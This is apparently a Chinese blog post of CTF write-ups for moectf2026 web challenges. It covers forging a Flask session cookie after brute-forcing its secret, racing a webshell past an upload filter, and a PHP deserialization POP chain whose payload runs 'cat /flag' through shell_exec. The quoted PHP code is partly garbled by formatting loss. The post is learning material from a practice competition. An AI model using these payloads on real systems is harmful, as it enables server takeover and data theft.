web题目练习1
原创
T1mM9
T1mM9
t1mM9的笔记
2026年10月31日 17:06
北京
去阅读
这是moectf2026几道题目,当时做的时候就没有做出来,现在复盘一下,还是比较有意思的
1.MoeCatchTheFrogs
简单来说就是要一直点捕捉青蛙这个键来捉青蛙,但是我们多点几次会发现,最后一直青蛙我们一直抓不到,于是想是不是通过其他方法找到最后一直青蛙
看一下cookie,发现了这个frog\_session,把这个cookie进行base64解码,得到'frogs':[0,1,2,3,4]
既然这样,解题思路就很明显了,我们只要伪造一个frogs从0-8的cookie就可以了
但是,再伪造之前,我们要先了解这个cookie是怎么的来的,可以看到这个cookie有三个.来分割,第一个通过base64解码发现是已经找到的frog的种类,第二个是根据时间生成的,第三个是签名,签名要根据密钥来生成。
那我们要怎么伪造cookie呢?我们首先要得到密钥,可以通过flask-unsign这个库来爆破出这个cookie的密钥:
可以看到破解的密钥是qwe123456
之后,我们就能轻松伪造cookie了
Set-Content -Path \".\session.json\" -Value '{\"frogs\":[0,1,2,3,4,5,6,7,8]}' -Encoding ascii -NoNewline
python -c \"import json, flask\_unsign; print(flask\_unsign.sign(json.load(open('session.json')), secret='qwe123456'))\"
2.我刚一提交就发现了三个问题
这道题目是一道上传漏洞的题目,通过一系列测试,我们能发现当我们上传php及其相关类型的文件,会被服务器直接删除;当我们上传带有
这让我犯了难,到底要怎么办呢?
不妨先想一想服务器删除我们上传文件的逻辑。当我们点击上传的时候,文件会被上传到/private目录底下,之后会检查这个文件查看文件中有没有不改出现的内容,或者检查文件类型。当发现文件类型不符合,或者文件里的内容不符合就会删除。如果我们想到了这里,就能发现其实我们的木马文件是成功上传的,只不过存在的使劲按很短而已。
这时候,我们就可以利用这个漏洞,不断上传木马,同时不断发送请求(发送请求的间隔要比发送木马的间隔段短,保证更多的访问取抢文件存在的那一秒,成功几率更大),我们可以用bp的intruder板块来实现
3.七狗收费小说
题目描述中提到git,猜测是git泄露,这个漏洞是由于开发者没有限制隐藏文件夹的访问导致的,可以先访问/.git/config,如果有回显,就说明有泄露,可以找到源码
发现泄露之后,我们可以用git-dumper来获取这个源码
发现这个index.php,把里面重要的内容复制下来
// 小刻可是学了最新的 PHP 8 哦,快夸夸小刻
error\reporting(0);class User
{
public username,password;
public secreta,secret\_b; public function \\construct(username,password)
{
this−>username=username;
this−>password=password;
this−>secreta=this->secret\_b = 0;
} public function \\wakeup()
{
// 每次都要重新登录,这样坏人肯定进不来啦
$this->secret\_b = random\_int(1000\_0000, 9999\_9999);
} public function \\destruct()
{
if (this−>username!==this->password)
die(\"不对,密码不对!\");
if (this−>secreta!==this->secret\_b)
die(\"不行,要重新登录!\"); echo \"已经登录啦:$this->username\";
}
}class UserInfo
{
public user,permission; public function \\construct($user)
{
this−>user=user;
this−>permission=user->username === \"admin\" ? \"权限 7\" : \"权限 0\";
} public function \\tostring()
{
return this−>user−>username.\"(权限等级:\".this->permission . \")\";
}
}class Diagnosis
{ public key,value, action; public function \\get(name)
{
if (name===this->key && is\_object($this->action)) {
return (this−>action)(this->value);
}
return null;
} public function \\_invoke($value)
{
return shell\_exec(\"this−>keyvalue\");
}
}$curr\_user = null;if (isset(KaTeX parse error: Expected 'EOF', got '&' at position 20: …T['username']) &̲& isset(\_POST['password'])) {
username=\_POST['username'];
password=\_POST['password']; user=newUser(username, $password); data=base64encode(serialize(user));
setcookie('user', $data, time() + 3600, '/');
curruser=user;} elseif (isset($\_COOKIE['user'])) {
data=base64decode(\_COOKIE['user']);
curruser=unserialize(data);
}
?>
刻俄柏的小说(登录才能看!)
用户名
密码
发现很明显是反序列化漏洞,我们可以交互的入口在cookie这里:
elseif (isset($\_COOKIE['user'])) {
data=base64decode(\_COOKIE['user']);
}
可以看到,这里对输入的cookie没有任何的限制,导致我们可以利用这个上传经过序列化的一些内容来远程控制服务器输出
我们要输入什么内容的序列化后的结果呢?可以看看前面定义的类,发现会存在pop链,这是利用魔法方法在里面进行多次跳转然后获取敏感数据的一种payload,主要考察我们怎么一步一步的跳转。
我们注意到,当一个对象时dignose类型,且满足name===this->key && is\object($this->action)的时候,会返回一个函数,当这个函数被返回之后,又会触发shell\_exec(\"this->keyvalue\")。这段代码是出发漏洞的关键,其中shell\_exec是在服务器中执行命令。而this->keyvalue是取当前对象对象的key和value属性,结合在一起。当我们先触发了\\get(读取不存在的属性)这个魔术方法,并通过检验,返回一个函数。当对象被当作函数来调用后,会触发\\_invoke,进而返回shell\_exec。如果shellexec这个函数的内容又是我们可以控制的,我们就能直接访问这个服务器的文件系统了。
接下来,我们要找到哪里能触发get,看到userinfo中的return $this->user->username,如果user没有username这个属性,就会触发get这个魔法方法
按照这个方法,我们在往上找,会找到echo \"已经登录啦:$this->username\";,如果这里的username属性不是字符,就会触发\_\_tostring()。
要想触发echo \"已经登录啦:$this->username\",前提条件是满足前面的两个if的判断,第一个判断不难满足,第二个判断就相对比较难了if (this−>secreta!==this->secret\_b),一位secretb是我们没法控制的一个完全随机的数。我们要绕过这个判断,就要让secreta的值为secretb的“地址”,这样这个条件就能永远满足了。
理解了pop链之后,我们就不难写出payload:
class User
{
publicusername,password;
publicsecreta,secret\_b;
}
class UserInfo
{
publicuser,permission;
}
class Diagnosis
{
publickey,value, $action;
}
$d2 = new Diagnosis(\"\");
$d2->key = \"cat /flag\";
$d2->value = \"\";
$d2->action = null;
$d1 = new Diagnosis(\"\");
$d1 ->key = \"username\";
$d1 ->value = \"\";
d1−>action=d2;
$info = new UserInfo();
info−>user=d1;
$info -> permission = \"权限 7\";
$user = new User();
user−>username=info;
user->secret\_b ;
user−>password=user->username;
serialized=serialize(user);
base64=base64encode(serialized);
echo \" Serialized \
\";
echo $serialized . \"\
\
\";
echo \" Base64:\
\";
echo $base64 . \"\
\";
把payload的结果当成cooklie,post到服务器中就能找到flag
4.我爱发明
发现前面两关都是小游戏:
很轻松,直接来看第三关,要求我们在20秒中之内,找到12\*24个页面中验收通过的页面底下的验收片段,组成字符串的sha256值,听着就非常复杂,更别说这个20秒限制了,这个限制一加,难度直接大幅度提升。
我们打开f12,查看页面中验收状态和验收片段的位置在哪里,方便我们爬取
可以看到,div的inspection-sheet是验收状态,code的inspection-code是验收片段,这样我们就能写一个爬取网页的代码
import requests
from bs4 import BeautifulSoup
import hashlib
from concurrent.futures import ThreadPoolExecutor, as\_completed
import time
import threading
base\_url = 'http://xxxxxxx/ivent/'
total = 12 \* 24
local\_data = threading.local()
def get\_session():
if not hasattr(local\_data, 'session'):
local\_data.session = requests.Session()
return local\_data.session
def crawl(i):
url = f'{base\_url}{i}'
response = get\_session().get(url, timeout=5)
response.raise\_for\_status()
soup = BeautifulSoup(response.text, 'html.parser')
results = []
card1 = soup.select\_one('div.inspection-sheet')
status = card1.get('data-status')
if status == '通过':
code = soup.select\_one('code.inspection-code')
if code:
num = code.get('data-code')
results.append(num)
return i, results
start = time.perf\_counter()
all\_results = []
with ThreadPoolExecutor(max\_workers=50) as executor:
futures = [
executor.submit(crawl, i)
for i in range(total)
]
for future in as\_completed(futures):
page, results = future.result()
all\_results.append((page, results))
all\_results.sort(key=lambda x: x[0])
nums = []
for page, results in all\_results:
nums.extend(results)
content = ''.join(nums)
sha256 = hashlib.sha256(
content.encode('utf-8')
).hexdigest()
end = time.perf\_counter()
print('通过记录数量:', len(nums))
print('拼接结果:', content)
print('SHA256:', sha256)
print('总耗时:', round(end - start, 3), '秒')
submit\_url = 'http://xxxxxxxx/api/finalize'
cookies = {
\"user\": \"11\",
\"race\": \"6zXAtagK0MBdhLk1wupXPXXh\"
}
data = {
\"answer\": sha256
}
response = requests.post(
submit\_url,
json=data,
cookies=cookies,
timeout=5
)
print(\"提交状态码:\", response.status\_code)
print(\"提交结果:\", response.text)
这个是我自己写的,但是这个速度明显不行,我也是没招了
找了一位师傅写的wp:
import hashlib
import re
import requests
from concurrent.futures import ThreadPoolExecutor
BASE = \"xxxxxx\"
WORKERS = 8
s = requests.Session()
s.get(f\"{BASE}/stage/3\") # 拿 Cookie
cookies = s.cookies.get\_dict()
def fetch(invent):
r = requests.get(f\"{BASE}/invent/{invent}\", cookies=cookies)
if \"verdict-ok\" in r.text: # 判题通过才收集
return re.findall(r'data-code=\"([A-Z0-9]+)\"', r.text)
return []
with ThreadPoolExecutor(max\_workers=WORKERS) as ex:
codes = sum(ex.map(fetch, range(6, 289, 6)), [])
answer = hashlib.sha256(\"|\".join(codes).encode()).hexdigest()
print(\"通过\", len(codes), \"/48\")
print(\"sha256 =\", answer)
r = s.post(f\"{BASE}/api/finalize\", json={\"answer\": answer})
print(r.text)
虽然很短,但是一下就得到答案
这个爬虫代码非常值得我学习,值得学习的地方有:
1.用re库来使用正则表达式来提取编号,相较于我之前的方法(用beautifulsoup库先解析再找),直接用正则表达式找更快速(不用解析),写起来也更加简短方便。
2.用ex.map,我用的as\_complete,map是按照输入的顺序排序的,as\_complete是按照输出结果排序的,这就要求我还要有一个根据结果再重新排列的要求
之后会更新我的web题目的做题笔记,督促我多做题><
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论